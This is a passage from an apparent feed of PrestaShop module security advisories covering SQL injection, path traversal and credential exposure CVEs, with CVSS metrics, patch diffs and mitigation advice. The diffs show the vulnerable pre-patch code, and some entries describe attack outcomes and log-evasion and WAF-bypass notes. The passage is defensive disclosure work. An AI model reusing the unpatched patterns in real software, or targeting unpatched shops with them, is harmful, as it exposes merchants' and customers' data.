<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28396">CVE-2024-28396</a></li>
  <li><strong>Published at</strong>: 2024-03-14</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ordersexport</li>
  <li><strong>Impacted release</strong>: &lt;= 6.0.2 (6.0.3 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a unprotected txt file and an unprotected download.php script, a guest can access sensitive information such as FTP credentials.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Data leaks</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ordersexport</strong>.</li>
  <li>You should restrict access to the folder modules/ordersexport/ to a given whitelist</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/17596-orders-csv-excel-export-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://myprestamodules.com/data-import-export/orders-csv-excel-import.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28396">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Orders (CSV, Excel) Export PRO” (ordersexport) up to version 6.0.2 from MyPrestaModules for PrestaShop, a guest can download sensitive information without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-28392] Improper neutralization of SQL parameter in Abandoned Cart Reminder Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/14/pscartabandonmentpro.html" rel="alternate" type="text/html" title="[CVE-2024-28392] Improper neutralization of SQL parameter in Abandoned Cart Reminder Pro module for PrestaShop" /><published>2024-03-14T00:00:00+00:00</published><updated>2024-03-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/14/pscartabandonmentpro</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/14/pscartabandonmentpro.html"><![CDATA[<p>In the module “Abandoned Cart Reminder Pro” (pscartabandonmentpro) up to version 2.0.11 from PrestaShop for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28392">CVE-2024-28392</a></li>
  <li><strong>Published at</strong>: 2024-03-14</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pscartabandonmentpro</li>
  <li><strong>Impacted release</strong>: &lt;= 2.0.11 (2.0.12 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">pscartabandonmentproFrontCAPUnsubscribeJobModuleFrontController::setEmailVisualized()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-2011">Patch from 2.0.11</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.0.11/modules/pscartabandonmentpro/controllers/front/FrontCAPUnsubscribeJob.php
</span><span class="gi">+++ 2.0.12/modules/pscartabandonmentpro/controllers/front/FrontCAPUnsubscribeJob.php
</span><span class="gd">-       $iCartId = Tools::getValue('id_cart');
-       $iReminderId = Tools::getValue('id_reminder');
</span><span class="gi">+       $iCartId = (int) Tools::getValue('id_cart');
+       $iReminderId = (int) Tools::getValue('id_reminder');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pscartabandonmentpro</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-18</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-18</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/remarketing-shopping-cart-abandonment/16535-abandoned-cart-reminder-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28392">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Abandoned Cart Reminder Pro” (pscartabandonmentpro) up to version 2.0.11 from PrestaShop for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28394] External Control of File Name or Path in Advanced Plugins - Sales Reports, Statistics, Custom Fields &amp;amp; Export module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/14/reportsstatistics.html" rel="alternate" type="text/html" title="[CVE-2024-28394] External Control of File Name or Path in Advanced Plugins - Sales Reports, Statistics, Custom Fields &amp;amp; Export module for PrestaShop" /><published>2024-03-14T00:00:00+00:00</published><updated>2024-03-14T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/14/reportsstatistics</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/14/reportsstatistics.html"><![CDATA[<p>In the module “Sales Reports, Statistics, Custom Fields &amp; Export” (reportsstatistics) in versions up to 1.3.20 from Advanced Plugins for PrestaShop, a guest can download and delete all files.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28394">CVE-2024-28394</a></li>
  <li><strong>Published at</strong>: 2024-03-14</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: reportsstatistics</li>
  <li><strong>Impacted release</strong>: &lt;= 1.3.20 (1.3.30 fixed the critical issue - see WARNING below)</li>
  <li><strong>Product author</strong>: Advanced Plugins</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/73.html">CWE-73</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a broken access control, a guest can delete all files of the PrestaShop including .htaccess to access protected folders to steal sensitives data.</p>

<p><strong>WARNING</strong> : Be warned that the module still has sensitive issues that suffer a CVSS score 3.1 &lt;= 7.2/10.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: none</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Download and delete all files from the Shop</li>
  <li>Disable critical security configuration (.htaccess)</li>
</ul>

<h2 id="patch-from-1320">Patch from 1.3.20</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.3.20/module/reportsstatistics/export/export.php
</span><span class="gi">+++ XXXXXX/module/reportsstatistics/export/export.php
</span><span class="err">...</span>
-$file = urldecode(Tools::getValue('file'));
<span class="gi">+$file = basename(urldecode(Tools::getValue('file')));
</span>
if(file_exists(dirname(__FILE__).'/'.$file))
<span class="err">{</span>
	header('Content-type: application/vnd.ms-excel');
	header('Content-Disposition: attachment; filename='.$file);
	readfile(dirname(__FILE__).'/'.$file);
	unlink(dirname(__FILE__).'/'.$file);
	die();
<span class="err">}</span>
...
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.3.12/module/reportsstatistics/ajax_public.php
</span><span class="gi">+++ XXXXXX/module/reportsstatistics/ajax_public.php
</span><span class="err">...</span>
-			$current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields), true);
<span class="gi">+			$current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields, ['allowed_classes' =&gt; false]), true); // Harmless until proven otherwise just for the principle.
</span><span class="err">...</span>
</code></pre></div></div>

<p>Seen by a contributor in 1.3.20 :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.3.20/module/reportsstatistics/reportsstatistics.php
</span><span class="gi">+++ XXXXXX/module/reportsstatistics/reportsstatistics.php
</span><span class="p">@@ -643 +643 @@</span> class reportsstatistics extends Module
<span class="gd">-            $current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields), true);
</span><span class="gi">+            $current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields, ['allowed_classes' =&gt; false]), true); // Harmless until proven otherwise just for the principle.
</span><span class="p">@@ -670 +670 @@</span> class reportsstatistics extends Module
<span class="gd">-            $current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields), true);
</span><span class="gi">+            $current_value = Tools::jsonDecode(unserialize($context-&gt;cookie-&gt;apc_fields, ['allowed_classes' =&gt; false]), true); // Harmless until proven otherwise just for the principle.
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>reportsstatistics</strong>.</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-22</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-22</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-09-27</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-25</td>
      <td>Author provided a patch for the critical issue but there are still high issues</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-14</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/customer-administration/28379-sales-reports-statistics-custom-fields-export.html">PrestaShop addons product page</a></li>
  <li><a href="https://advancedplugins.com/prestashop/modules/advanced-fields-statistics-customer-segmentation/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28394">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Sales Reports, Statistics, Custom Fields &amp; Export” (reportsstatistics) in versions up to 1.3.20 from Advanced Plugins for PrestaShop, a guest can download and delete all files.]]></summary></entry><entry><title type="html">[CVE-2024-28391] Improper neutralization of SQL parameter in FME Modules - Quick Order Form - Order Table module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/12/quickproducttable.html" rel="alternate" type="text/html" title="[CVE-2024-28391] Improper neutralization of SQL parameter in FME Modules - Quick Order Form - Order Table module for PrestaShop" /><published>2024-03-12T00:00:00+00:00</published><updated>2024-03-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/12/quickproducttable</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/12/quickproducttable.html"><![CDATA[<p>In the module “Quick Order Form - Order Table” (quickproducttable) up to version 1.2.1 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28391">CVE-2024-28391</a></li>
  <li><strong>Published at</strong>: 2024-03-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: quickproducttable</li>
  <li><strong>Impacted release</strong>: &lt;= 1.2.1 (1.3.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">QuickProductTableFmmQuickModuleFrontController::readCsv()</code>, <code class="language-plaintext highlighter-rouge">QuickProductTableAjaxModuleFrontController::displayAjaxProductChangeAttr</code>, <code class="language-plaintext highlighter-rouge">QuickProductTableAjaxModuleFrontController::displayAjaxProductAddToCart</code>, <code class="language-plaintext highlighter-rouge">QuickProductTableAjaxModuleFrontController::getSearchProducts</code>, <code class="language-plaintext highlighter-rouge">QuickProductTableAjaxModuleFrontController::displayAjaxProductSku</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : One of exploits use a forged CSV so it will bypass most WAF.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-121">Patch from 1.2.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.1/modules/quickproducttable/controllers/front/ajax.php
</span><span class="gi">+++ 1.3.0/modules/quickproducttable/controllers/front/ajax.php
</span><span class="p">@@ -51,7 +51,7 @@</span> class QuickProductTableAjaxModuleFrontCo
         SELECT pac.`id_product_attribute`
         FROM `' . _DB_PREFIX_ . 'product_attribute_combination` pac
         INNER JOIN `' . _DB_PREFIX_ . 'product_attribute` pa ON pa.id_product_attribute = pac.id_product_attribute
<span class="gd">-        WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', $id_attributes) . ')
</span><span class="gi">+        WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', array_map('intval', $id_attributes)) . ')
</span>         GROUP BY id_product_attribute
         HAVING COUNT(id_product) = ' . count($id_attributes));
         $price = Product::getPriceStatic($id_product, true, $id_product_attribute);
<span class="p">@@ -91,7 +91,7 @@</span> class QuickProductTableAjaxModuleFrontCo
         SELECT pac.`id_product_attribute`
         FROM `' . _DB_PREFIX_ . 'product_attribute_combination` pac
         INNER JOIN `' . _DB_PREFIX_ . 'product_attribute` pa ON pa.id_product_attribute = pac.id_product_attribute
<span class="gd">-        WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', $id_attributes) . ')
</span><span class="gi">+        WHERE id_product = ' . (int) $id_product . ' AND id_attribute IN (' . implode(',', array_map('intval', $id_attributes)) . ')
</span>         GROUP BY id_product_attribute
         HAVING COUNT(id_product) = ' . count($id_attributes));

@@ -193,7 +193,7 @@ class QuickProductTableAjaxModuleFrontCo
                 LEFT JOIN `' . _DB_PREFIX_ .
                 'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = ' .
         (int) $context-&gt;language-&gt;id . ')
<span class="gd">-                WHERE p.id_product NOT IN (' . $enable_pro . ') AND p.id_category_default IN (' . $category . ')
</span><span class="gi">+                WHERE p.id_product NOT IN (' . $enable_pro . ') AND p.id_category_default IN (' . implode(',', array_map('intval', explode(',', $category))) . ')
</span>                 AND (pl.name LIKE \'%' . pSQL($query) . '%\' OR p.reference LIKE \'%' . pSQL($query) . '%\')' .
             (!empty($excludeIds) ? ' AND p.id_product NOT IN (' . $excludeIds . ') ' : ' ') .
             ($excludeVirtuals ? 'AND NOT EXISTS (SELECT 1 FROM `' . _DB_PREFIX_ .
<span class="p">@@ -493,7 +493,7 @@</span> class QuickProductTableAjaxModuleFrontCo
             $sql = new DbQuery();
             $sql-&gt;select('id_product');
             $sql-&gt;from('product');
<span class="gd">-            $sql-&gt;where('reference = "' . $reference . '"');
</span><span class="gi">+            $sql-&gt;where('reference = "' . pSQL($reference) . '"');
</span>             $id_product = Db::getInstance()-&gt;getValue($sql);

</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.1/modules/quickproducttable/controllers/front/fmmquick.php
</span><span class="gi">+++ 1.3.0/modules/quickproducttable/controllers/front/fmmquick.php
</span><span class="p">@@ -985,7 +985,7 @@</span> class QuickProductTableFmmQuickModuleFro
                 $sql = new DbQuery();
                 $sql-&gt;select('id_product');
                 $sql-&gt;from('product');
<span class="gd">-                $sql-&gt;where('reference = "' . $reference . '"');
</span><span class="gi">+                $sql-&gt;where('reference = "' . pSQL($reference) . '"');
</span>                 $id_product = Db::getInstance()-&gt;getValue($sql);
                 $qty = (int) $key[1];
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>quickproducttable</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-02</td>
      <td>Issue discovered during a code review by <a href="https://2dm.pl/">2DM</a> then <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-02</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-05</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-01-01</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-03-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-03-12</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/order-management/47933-quick-order-form-order-table.html">PrestaShop addons product page</a></li>
  <li><a href="https://www.fmemodules.com/en/prestashop-modules/171-prestashop-quick-frontend-product-update-price-quantity-status.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-28391">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;2dm.pl&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Quick Order Form - Order Table” (quickproducttable) up to version 1.2.1 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-28389] Improper neutralization of SQL parameters in Knowband - Entry,Exit and Subscription Popup-Spin and Win module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/03/12/spinwheel.html" rel="alternate" type="text/html" title="[CVE-2024-28389] Improper neutralization of SQL parameters in Knowband - Entry,Exit and Subscription Popup-Spin and Win module for PrestaShop" /><published>2024-03-12T00:00:00+00:00</published><updated>2024-03-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/03/12/spinwheel</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/03/12/spinwheel.html"><![CDATA[<p>In the module “Entry,Exit and Subscription Popup-Spin and Win” (spinwheel) up to version 3.0.3 from KnowBand for PrestaShop, an anonymous user can perform a SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28389">CVE-2024-28389</a></li>
  <li><strong>Published at</strong>: 2024-03-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: spinwheel</li>
  <li><strong>Impacted release</strong>: &lt;= 3.0.3 (3.0.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: KnowBand</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SpinWheelFrameSpinWheelModuleFrontController::sendEmail()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-303">Patch from 3.0.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.0.3/modules/spinwheel/controllers/front/framespinwheel.php
</span><span class="gi">+++ 3.0.4/modules/spinwheel/controllers/front/framespinwheel.php
</span><span class="p">private static function transactionExists(string
</span><span class="err">...</span>
-       $sql = 'select slice_type, coupon_value, coupon_type, gift_product from ' . _DB_PREFIX_ . 'wheel_slices where slice_no=' . pSQL($slice_no);
<span class="gi">+       $sql = 'select slice_type, coupon_value, coupon_type, gift_product from ' . _DB_PREFIX_ . 'wheel_slices where slice_no=' . (int) $slice_no;
</span>        $query = db::getInstance()-&gt;getRow($sql);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>spinwheel</strong>.</li>
